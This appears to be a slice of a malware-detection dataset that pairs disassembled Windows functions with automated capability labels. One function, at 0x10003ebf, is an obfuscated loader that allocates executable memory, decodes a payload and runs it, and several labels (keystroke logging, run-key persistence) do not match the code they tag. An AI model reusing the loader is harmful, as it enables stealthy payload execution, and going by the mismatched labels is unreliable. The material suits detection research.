joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42fbf0
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov esi, ecx
mov eax, dword [0x438014]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, dword [0x4393b8]
mov ecx, dword [0x4380f8]
mov edx, dword fs:[0x2c]
mov ecx, dword [edx + ecx*4]
cmp eax, dword [ecx + 4]
jg 0x42fc6a
mov eax, dword [esi + 8]
test eax, eax
je 0x42fc51
mov ecx, dword [0x4393b4]
mov dword [ebp - 0x38], ecx
mov ebx, dword [esi + 4]
lea edi, [ebx + eax*8]
lea eax, [ebp - 0x34]
push eax
push dword [ebx]
push dword [ebp - 0x38]
push dword [ebx + 4]
call dword [sym.imp.kernel32.dll_VirtualProtect]
add ebx, 8
cmp ebx, edi
jne 0x42fc38
mov dword [esi + 8], 0
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00414c00
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
push 0x4393b8
call fcn.00414996
add esp, 4
cmp dword [0x4393b8], 0xffffffff
jne 0x42fc22
lea edi, [ebp - 0x34]
push edi
call dword [sym.imp.kernel32.dll_GetSystemInfo]
mov eax, dword [edi + 4]
mov dword [0x4393b4], eax
push 0x4393b8
call fcn.00414996
add esp, 4
jmp 0x42fc22

Function at 0x42fee0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 8
mov esi, ecx
mov ecx, dword [ecx + 0x34]
test ecx, ecx
je 0x42ff66
mov edi, edx
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp + 8]
and ecx, 0xfffffffc
call fcn.0041a040
test al, al
je 0x42ff66
mov dword [ebp - 0x10], ebx
push edi
push dword [esi + 0x34]
call dword [sym.imp.kernel32.dll_GetProcAddress]
test eax, eax
je 0x42ff66
mov edi, eax
mov ecx, eax
call fcn.0041a040
test al, al
je 0x42ff66
lea ecx, [esi + 0x18]
mov edx, edi
push dword [ebp - 0x14]
push dword [ebp - 0x10]
call fcn.00410fb0
add esp, 8
mov ecx, eax
mov al, 1
test cl, cl
jne 0x42ff68
cmp byte [esi + 0x14], 0
jne 0x42ff56
mov dword [esi + 0x14], 1
mov dword [esi + 0x10], 0
mov ecx, esi
mov edx, edi
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
jmp fcn.0040a680
xor eax, eax
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10003ebf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x10003ece
pop dword [ebp - 0x3c]
mov eax, 0x38a7f704
sub eax, 0x28a7b836
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x18f4a11
add dword [ebp - 0x4c], 0x4cc2fb3a
mov dword [ebp - 0x48], 0x51e3698b
sub dword [ebp - 0x48], 0x1fb01d46
mov dword [ebp - 0x44], 0xe7ab53c2
add dword [ebp - 0x44], 0x64a0f06c
mov dword [ebp - 0x40], 0x571b8744
sub dword [ebp - 0x40], 0x571b8744
lea eax, [ebp - 0x4c]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0xf2036122
sub dword [ebp - 0x4c], 0x7d90f7cc
mov dword [ebp - 0x48], 0xaceb7fea
sub dword [ebp - 0x48], 0x6b7f1e75
mov dword [ebp - 0x44], 0xbe5d014f
add dword [ebp - 0x44], 0xa5126b1d
mov dword [ebp - 0x40], 0xab6bacf
add dword [ebp - 0x40], 0xf5494531
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0xc0f8671e
sub eax, 0xb0f816de
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x320fa
push 0
call eax
mov ecx, 0x63f2a6fb
add ecx, 0x9c0d8ebb
mov ebx, eax
mov edi, 0xdce7d384
sub edi, 0xcce71d84
add edi, dword [ebp - 0x3c]
mov edx, 0xcc159ff
add edx, 0xc50cf9f9
xor dword [ebp - 0x14], edi
mov esi, dword [edi]
xor dword [ebp - 0x2c], 0xf7f79497
sub esi, edx
mov dword [ebp - 0x10], 0x5e8b956b
mov dword [ebx], esi
add ebx, 4
add edi, 4
loop 0x10003feb
add eax, 0xcded8ad7
sub eax, 0xcdecc12c
mov ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x405230
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x20
push edi
mov edi, ecx
mov eax, dword [edi + 0x20]
push eax
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x4053dc
mov eax, dword [edi + 0x44]
or ecx, 0xffffffff
test eax, eax
jne 0x405264
cmp dword [edi + 0x78], ecx
je 0x405270
cmp dword [edi + 0x7c], ecx
je 0x405270
test eax, eax
je 0x40539e
cmp dword [edi + 0x84], ecx
je 0x40539e
mov ecx, dword [edi + 0x20]
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetParent]
push esi
push ecx
call ebx
push eax
call sub.MFC42.DLL_CWnd::FromHandle
test eax, eax
jne 0x40528c
xor esi, esi
jmp 0x40528f
mov esi, dword [eax + 0x20]
push esi
call ebx
test eax, eax
je 0x4052b6
push esi
call sub.MFC42.DLL_CWnd::FromHandle
mov ecx, eax
call sub.MFC42.DLL_CWnd::GetStyle
test eax, 0x40000000
je 0x4052b6
push esi
call ebx
mov esi, eax
push esi
call ebx
test eax, eax
jne 0x405296
mov eax, dword [edi + 0x20]
lea edx, [esp + 0x1c]
push edx
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x30]
mov edx, eax
sub edx, ecx
je 0x405306
mov edx, dword [esp + 0x3c]
mov edi, dword [esp + 0x34]
mov ebx, edx
sub ebx, edi
je 0x405306
mov ebx, dword [esp + 0x28]
sub ebx, dword [esp + 0x20]
sub ebx, edx
mov edx, dword [esp + 0x24]
sub edx, eax
mov eax, dword [esp + 0x1c]
sub edx, eax
push ebx
push edx
push edi
push ecx
lea ecx, [esp + 0x2c]
call sub.MFC42.DLL_CRect::DeflateRect
jmp 0x405317
push 1
push 1
push 1
push 1
lea ecx, [esp + 0x2c]
call sub.MFC42.DLL_CRect::DeflateRect
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x28]
push esi
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], eax
call sub.MFC42.DLL_CWnd::FromHandle
mov edx, dword [eax + 0x20]
mov edi, dword [sym.imp.USER32.dll_ScreenToClient]
lea ecx, [esp + 0x14]
push ecx
push edx
call edi
push esi
call sub.MFC42.DLL_CWnd::FromHandle
mov edx, dword [eax + 0x20]
lea ecx, [esp + 0xc]
push ecx
push edx
call edi
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x18]
push eax
mov eax, dword [esp + 0x18]
push ecx
push edx
lea ecx, [esp + 0x28]
push eax
push ecx
call dword [sym.imp.USER32.dll_SetRect]
push esi
call sub.MFC42.DLL_CWnd::FromHandle
mov eax, dword [eax + 0x20]
lea edx, [esp + 0x1c]
push 1
push edx
push eax
call dword [sym.imp.USER32.dll_InvalidateRect]
pop esi
pop ebx
pop edi
add esp, 0x20
ret 0x10
mov ecx, dword [esp + 0x30]
mov eax, dword [esp + 0x28]
sub ecx, eax
je 0x4053ce
mov edx, dword [esp + 0x34]
mov eax, dword [esp + 0x2c]
sub edx, eax
je 0x4053ce
mov ecx, dword [edi + 0x20]
lea eax, [esp + 0x28]
push 1
push eax
push ecx
call dword [sym.imp.USER32.dll_InvalidateRect]
pop edi
add esp, 0x20
ret 0x10
mov edx, dword [edi + 0x20]
push 1
push 0
push edx
call dword [sym.imp.USER32.dll_InvalidateRect]
pop edi
add esp, 0x20
ret 0x10
Function at 0x406960
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
push edi
mov ecx, 0x27
xor eax, eax
lea edi, [esp + 4]
rep stosd dword es:[edi], eax
lea eax, [esp + 4]
mov dword [esp + 4], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [esp + 0x14]
pop edi
cmp eax, 2
jne 0x4069a5
cmp dword [esp + 4], 5
jb 0x4069a5
mov ecx, dword [esp + 8]
mov eax, 1
cmp ecx, eax
je 0x4069a7
xor eax, eax
add esp, 0x9c
ret
Function at 0x40e050
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push ebp
push esi
push edi
mov esi, ecx
push 1
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx eax, ax
shr eax, 0x10
je 0x40e08e
mov eax, dword [esi + 0xc4]
test eax, eax
je 0x40e1d1
cmp eax, 1
lea eax, [esi + 0xd8]
je 0x40e1a5
lea eax, [esi + 0xe8]
jmp 0x40e1a5
mov ebp, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
lea edi, [esi + 0xd8]
push ebp
push ecx
push edi
call dword [sym.imp.USER32.dll_PtInRect]
test eax, eax
je 0x40e118
mov eax, dword [esi + 0xc4]
cmp eax, 1
je 0x40e1d1
cmp eax, 2
jne 0x40e0e5
lea edx, [esi + 0xe8]
sub esp, 0x10
mov eax, esp
mov ecx, dword [edx]
mov dword [eax], ecx
mov ecx, dword [edx + 4]
mov dword [eax + 4], ecx
mov ecx, dword [edx + 8]
mov dword [eax + 8], ecx
mov ecx, esi
mov edx, dword [edx + 0xc]
mov dword [eax + 0xc], edx
call fcn.0040e1e0
mov ecx, dword [edi]
mov edx, dword [edi + 4]
sub esp, 0x10
mov dword [esi + 0xc4], 1
mov eax, esp
mov dword [eax], ecx
mov ecx, dword [edi + 8]
mov dword [eax + 4], edx
mov edx, dword [edi + 0xc]
mov dword [eax + 8], ecx
mov ecx, esi
mov dword [eax + 0xc], edx
call fcn.0040e1e0
pop edi
pop esi
pop ebp
pop ebx
ret 8
mov eax, dword [esp + 0x14]
lea ebx, [esi + 0xe8]
push ebp
push eax
push ebx
call dword [sym.imp.USER32.dll_PtInRect]
test eax, eax
mov eax, dword [esi + 0xc4]
je 0x40e198
cmp eax, 2
je 0x40e1d1
cmp eax, 1
jne 0x40e165
mov edx, dword [edi]
mov eax, dword [edi + 4]
sub esp, 0x10
mov ecx, esp
mov dword [ecx], edx
mov edx, dword [edi + 8]
mov dword [ecx + 4], eax
mov eax, dword [edi + 0xc]
mov dword [ecx + 8], edx
mov dword [ecx + 0xc], eax
mov ecx, esi
call fcn.0040e1e0
mov edx, dword [ebx]
mov eax, dword [ebx + 4]
sub esp, 0x10
mov dword [esi + 0xc4], 2
mov ecx, esp
mov dword [ecx], edx
mov edx, dword [ebx + 8]
mov dword [ecx + 4], eax
mov eax, dword [ebx + 0xc]
mov dword [ecx + 8], edx
mov dword [ecx + 0xc], eax
mov ecx, esi
call fcn.0040e1e0
pop edi
pop esi
pop ebp
pop ebx
ret 8
test eax, eax
je 0x40e1d1
cmp eax, 1
mov eax, edi
je 0x40e1a5
mov eax, ebx
mov ecx, dword [eax]
mov edx, dword [eax + 4]
sub esp, 0x10
mov edi, dword [eax + 8]
mov ebx, esp
mov eax, dword [eax + 0xc]
mov dword [esi + 0xc4], 0
mov dword [ebx], ecx
mov ecx, esi
mov dword [ebx + 4], edx
mov dword [ebx + 8], edi
mov dword [ebx + 0xc], eax
call fcn.0040e1e0
pop edi
pop esi
pop ebp
pop ebx
ret 8
Function at 0x40e1e0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x20
push edi
mov edi, ecx
mov eax, dword [edi + 0x20]
push eax
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x40e379
mov eax, dword [edi + 0x44]
or ecx, 0xffffffff
test eax, eax
jne 0x40e214
cmp dword [edi + 0x78], ecx
je 0x40e220
cmp dword [edi + 0x7c], ecx
je 0x40e220
test eax, eax
je 0x40e33b
cmp dword [edi + 0x84], ecx
je 0x40e33b
mov ecx, dword [edi + 0x20]
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetParent]
push esi
push ecx
call ebx
push eax
call sub.MFC42.DLL_CWnd::FromHandle
test eax, eax
jne 0x40e23c
xor esi, esi
jmp 0x40e23f
mov esi, dword [eax + 0x20]
push esi
call ebx
test eax, eax
je 0x40e266
push esi
call sub.MFC42.DLL_CWnd::FromHandle
mov ecx, eax
call sub.MFC42.DLL_CWnd::GetStyle
test eax, 0x40000000
je 0x40e266
push esi
call ebx
mov esi, eax
push esi
call ebx
test eax, eax
jne 0x40e246
mov eax, dword [edi + 0x20]
lea edx, [esp + 0x1c]
push edx
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
mov edx, dword [esp + 0x38]
mov edi, dword [esp + 0x30]
mov ecx, edx
sub ecx, edi
je 0x40e2b4
mov eax, dword [esp + 0x3c]
mov ecx, dword [esp + 0x34]
mov ebx, eax
sub ebx, ecx
je 0x40e2b4
mov ebx, dword [esp + 0x28]
sub ebx, dword [esp + 0x20]
sub ebx, eax
mov eax, dword [esp + 0x24]
sub eax, edx
mov edx, dword [esp + 0x1c]
sub eax, edx
push ebx
push eax
push ecx
push edi
lea ecx, [esp + 0x2c]
call sub.MFC42.DLL_CRect::DeflateRect
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
mov eax, dword [esp + 0x24]
mov dword [esp + 0x14], ecx
mov ecx, dword [esp + 0x28]
push esi
mov dword [esp + 0x1c], edx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], ecx
call sub.MFC42.DLL_CWnd::FromHandle
mov eax, dword [eax + 0x20]
mov edi, dword [sym.imp.USER32.dll_ScreenToClient]
lea edx, [esp + 0x14]
push edx
push eax
call edi
push esi
call sub.MFC42.DLL_CWnd::FromHandle
mov edx, dword [eax + 0x20]
lea ecx, [esp + 0xc]
push ecx
push edx
call edi
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x18]
push eax
mov eax, dword [esp + 0x18]
push ecx
push edx
lea ecx, [esp + 0x28]
push eax
push ecx
call dword [sym.imp.USER32.dll_SetRect]
push esi
call sub.MFC42.DLL_CWnd::FromHandle
mov eax, dword [eax + 0x20]
lea edx, [esp + 0x1c]
push 1
push edx
push eax
call dword [sym.imp.USER32.dll_InvalidateRect]
pop esi
pop ebx
pop edi
add esp, 0x20
ret 0x10
mov ecx, dword [esp + 0x30]
mov eax, dword [esp + 0x28]
sub ecx, eax
je 0x40e36b
mov edx, dword [esp + 0x34]
mov eax, dword [esp + 0x2c]
sub edx, eax
je 0x40e36b
mov ecx, dword [edi + 0x20]
lea eax, [esp + 0x28]
push 1
push eax
push ecx
call dword [sym.imp.USER32.dll_InvalidateRect]
pop edi
add esp, 0x20
ret 0x10
mov edx, dword [edi + 0x20]
push 1
push 0
push edx
call dword [sym.imp.USER32.dll_InvalidateRect]
pop edi
add esp, 0x20
ret 0x10
Function at 0x40f890
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push ebp
push esi
push edi
mov esi, ecx
push 1
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx eax, ax
shr eax, 0x10
je 0x40f8ce
mov eax, dword [esi + 0x90]
test eax, eax
je 0x40fa11
cmp eax, 1
lea eax, [esi + 0x9c]
je 0x40f9e5
lea eax, [esi + 0xac]
jmp 0x40f9e5
mov ebp, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
lea edi, [esi + 0x9c]
push ebp
push ecx
push edi
call dword [sym.imp.USER32.dll_PtInRect]
test eax, eax
je 0x40f958
mov eax, dword [esi + 0x90]
cmp eax, 1
je 0x40fa11
cmp eax, 2
jne 0x40f925
lea edx, [esi + 0xac]
sub esp, 0x10
mov eax, esp
mov ecx, dword [edx]
mov dword [eax], ecx
mov ecx, dword [edx + 4]
mov dword [eax + 4], ecx
mov ecx, dword [edx + 8]
mov dword [eax + 8], ecx
mov ecx, esi
mov edx, dword [edx + 0xc]
mov dword [eax + 0xc], edx
call fcn.0040e1e0
mov ecx, dword [edi]
mov edx, dword [edi + 4]
sub esp, 0x10
mov dword [esi + 0x90], 1
mov eax, esp
mov dword [eax], ecx
mov ecx, dword [edi + 8]
mov dword [eax + 4], edx
mov edx, dword [edi + 0xc]
mov dword [eax + 8], ecx
mov ecx, esi
mov dword [eax + 0xc], edx
call fcn.0040e1e0
pop edi
pop esi
pop ebp
pop ebx
ret 8
mov eax, dword [esp + 0x14]
lea ebx, [esi + 0xac]
push ebp
push eax
push ebx
call dword [sym.imp.USER32.dll_PtInRect]
test eax, eax
mov eax, dword [esi + 0x90]
je 0x40f9d8
cmp eax, 2
je 0x40fa11
cmp eax, 1
jne 0x40f9a5
mov edx, dword [edi]
mov eax, dword [edi + 4]
sub esp, 0x10
mov ecx, esp
mov dword [ecx], edx
mov edx, dword [edi + 8]
mov dword [ecx + 4], eax
mov eax, dword [edi + 0xc]
mov dword [ecx + 8], edx
mov dword [ecx + 0xc], eax
mov ecx, esi
call fcn.0040e1e0
mov edx, dword [ebx]
mov eax, dword [ebx + 4]
sub esp, 0x10
mov dword [esi + 0x90], 2
mov ecx, esp
mov dword [ecx], edx
mov edx, dword [ebx + 8]
mov dword [ecx + 4], eax
mov eax, dword [ebx + 0xc]
mov dword [ecx + 8], edx
mov dword [ecx + 0xc], eax
mov ecx, esi
call fcn.0040e1e0
pop edi
pop esi
pop ebp
pop ebx
ret 8
test eax, eax
je 0x40fa11
cmp eax, 1
mov eax, edi
je 0x40f9e5
mov eax, ebx
mov ecx, dword [eax]
mov edx, dword [eax + 4]
sub esp, 0x10
mov edi, dword [eax + 8]
mov ebx, esp
mov eax, dword [eax + 0xc]
mov dword [esi + 0x90], 0
mov dword [ebx], ecx
mov ecx, esi
mov dword [ebx + 4], edx
mov dword [ebx + 8], edi
mov dword [ebx + 0xc], eax
call fcn.0040e1e0
pop edi
pop esi
pop ebp
pop ebx
ret 8
Function at 0x418aa0
Capabilities:
Get file attributes

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x41e838
push eax
mov dword fs:[0], esp
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
or ecx, 0xffffffff
cmp eax, ecx
jne 0x418ae7
mov dword [esp + 8], ecx
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
xor eax, eax
mov ecx, dword [esp]
mov dword fs:[0], ecx
add esp, 0xc
ret 4
test al, 0x10
mov dword [esp + 8], ecx
lea ecx, [esp + 0x10]
je 0x418b0b
call sub.MFC42.DLL_CString::CString
xor eax, eax
mov ecx, dword [esp]
mov dword fs:[0], ecx
add esp, 0xc
ret 4
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp]
mov eax, 1
mov dword fs:[0], ecx
add esp, 0xc
ret 4

Function at 0x418b30
Capabilities:
Get file attributes

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x41e858
push eax
mov dword fs:[0], esp
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
or ecx, 0xffffffff
cmp eax, ecx
jne 0x418b77
mov dword [esp + 8], ecx
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
xor eax, eax
mov ecx, dword [esp]
mov dword fs:[0], ecx
add esp, 0xc
ret 4
test al, 0x10
mov dword [esp + 8], ecx
lea ecx, [esp + 0x10]
jne 0x418b9b
call sub.MFC42.DLL_CString::CString
xor eax, eax
mov ecx, dword [esp]
mov dword fs:[0], ecx
add esp, 0xc
ret 4
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp]
mov eax, 1
mov dword fs:[0], ecx
add esp, 0xc
ret 4

Function at 0x418bc0
Capabilities:
Access peb ldr_data
Persist via run registry key

Disassembly:
push 0xffffffffffffffff
push 0x41e89f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
mov esi, ecx
mov dword [esp + 0x14], 0
lea ecx, [esp + 8]
call sub.MFC42.DLL_CString::CString_2
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
lea eax, [esp + 0xc]
push 0x80000001
push eax
push str.Personal
mov ecx, esi
mov dword [esp + 0x30], 1
call fcn.00418e00
push 1
push 0x5c
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esp + 0x10]
push 1
push ecx
lea ecx, [esp + 0x10]
mov byte [esp + 0x28], 2
call sub.MFC42.DLL_CString::Right
mov edx, dword [esp + 0xc]
mov eax, dword [eax]
push edx
push eax
call dword [sym.imp.MSVCRT.dll__mbscmp]
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
sete bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
mov byte [esp + 0x20], 1
call sub.MFC42.DLL_CString::CString
test bl, bl
je 0x418c97
mov eax, dword [esp + 8]
lea ecx, [esp + 0x10]
mov eax, dword [eax - 8]
dec eax
push eax
push ecx
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::Left
push eax
lea ecx, [esp + 0xc]
mov byte [esp + 0x24], 3
call sub.MFC42.DLL_CString::operator_2
lea ecx, [esp + 0x10]
mov byte [esp + 0x20], 1
call sub.MFC42.DLL_CString::CString
mov esi, dword [esp + 0x28]
lea edx, [esp + 8]
push edx
mov ecx, esi
call sub.MFC42.DLL_CString::CString_3
mov dword [esp + 0x14], 1
lea ecx, [esp + 8]
mov byte [esp + 0x20], 0
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x18]
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x1c
ret 4
Function at 0x418ce0
Capabilities:
Access peb ldr_data
Persist via run registry key

Disassembly:
push 0xffffffffffffffff
push 0x41e8df
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
mov esi, ecx
mov dword [esp + 0x14], 0
lea ecx, [esp + 8]
call sub.MFC42.DLL_CString::CString_2
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
lea eax, [esp + 0xc]
push 0x80000001
push eax
push str.Desktop
mov ecx, esi
mov dword [esp + 0x30], 1
call fcn.00418e00
push 1
push 0x5c
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esp + 0x10]
push 1
push ecx
lea ecx, [esp + 0x10]
mov byte [esp + 0x28], 2
call sub.MFC42.DLL_CString::Right
mov edx, dword [esp + 0xc]
mov eax, dword [eax]
push edx
push eax
call dword [sym.imp.MSVCRT.dll__mbscmp]
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
sete bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
mov byte [esp + 0x20], 1
call sub.MFC42.DLL_CString::CString
test bl, bl
je 0x418db7
mov eax, dword [esp + 8]
lea ecx, [esp + 0x10]
mov eax, dword [eax - 8]
dec eax
push eax
push ecx
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::Left
push eax
lea ecx, [esp + 0xc]
mov byte [esp + 0x24], 3
call sub.MFC42.DLL_CString::operator_2
lea ecx, [esp + 0x10]
mov byte [esp + 0x20], 1
call sub.MFC42.DLL_CString::CString
mov esi, dword [esp + 0x28]
lea edx, [esp + 8]
push edx
mov ecx, esi
call sub.MFC42.DLL_CString::CString_3
mov dword [esp + 0x14], 1
lea ecx, [esp + 8]
mov byte [esp + 0x20], 0
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x18]
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x1c
ret 4

Function at 0x418e00
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x10c
mov ecx, dword [esp + 0x11c]
mov edx, dword [esp + 0x118]
push esi
lea eax, [esp + 4]
push edi
push eax
push 0x20019
push 0
push ecx
push edx
mov dword [esp + 0x20], 0xff
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edi, eax
lea eax, [esp + 0xc]
lea ecx, [esp + 0x14]
push eax
mov eax, dword [esp + 0x11c]
lea edx, [esp + 0x14]
push ecx
mov ecx, dword [esp + 0x10]
push edx
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 8]
mov esi, eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp edi, esi
jne 0x418e8e
test esi, esi
jne 0x418e8e
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0x14]
push eax
call fcn.0041c08a
pop edi
mov eax, 1
pop esi
add esp, 0x10c
ret 0x10
pop edi
xor eax, eax
pop esi
add esp, 0x10c
ret 0x10
Function at 0x418f20
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
push ebx
lea eax, [esp + 0x14]
push edi
push eax
push 0x20019
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x418fb6
mov edi, dword [esp + 0xc]
mov edx, dword [esp + 0x18]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x10]
push 0
push ecx
push 0
push edi
push edx
call ebx
test eax, eax
jne 0x418fab
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x14]
push esi
mov esi, dword [esp + 0x14]
push eax
push ecx
mov ecx, esi
call sub.MFC42.DLL_CString::GetBuffer
lea edx, [esp + 0x14]
push eax
mov eax, dword [esp + 0x24]
push edx
push 0
push edi
push eax
call ebx
push 0xffffffffffffffff
mov ecx, esi
call sub.MFC42.DLL_CString::ReleaseBuffer
mov ecx, dword [esp + 0x1c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop edi
mov eax, 1
pop ebx
ret 0x10
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
xor eax, eax
pop ebx
ret 0x10

Function at 0x418fc0
Capabilities:
Access peb ldr_data
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x41e917
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
lea ecx, [esp + 4]
mov dword [esp + 0x10], 0
call sub.MFC42.DLL_CString::CString_2
mov ecx, dword [esp + 0x28]
lea eax, [esp + 8]
push eax
push ecx
push 0
mov dword [esp + 0x28], 1
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
push 0x104
lea ecx, [esp + 8]
call sub.MFC42.DLL_CString::GetBuffer
mov edx, dword [esp + 8]
push eax
push edx
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListA]
push 0xffffffffffffffff
lea ecx, [esp + 8]
call sub.MFC42.DLL_CString::ReleaseBuffer
push 1
push 0x5c
lea ecx, [esp + 0x30]
call sub.MFC42.DLL_CString::CString_1
lea eax, [esp + 0xc]
push 1
push eax
lea ecx, [esp + 0xc]
mov byte [esp + 0x24], 2
call sub.MFC42.DLL_CString::Right
mov ecx, dword [esp + 0x28]
mov eax, dword [eax]
push ecx
push eax
call dword [sym.imp.MSVCRT.dll__mbscmp]
add esp, 8
lea ecx, [esp + 0xc]
test eax, eax
setne bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x28]
mov byte [esp + 0x1c], 1
call sub.MFC42.DLL_CString::CString
test bl, bl
pop ebx
je 0x419088
push 0x5c
lea ecx, [esp + 4]
call sub.MFC42.DLL_CString::operator_1
push esi
mov esi, dword [esp + 0x24]
lea edx, [esp + 4]
mov ecx, esi
push edx
call sub.MFC42.DLL_CString::CString_3
mov dword [esp + 0x10], 1
lea ecx, [esp + 4]
mov byte [esp + 0x1c], 0
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x14]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x1c
ret 8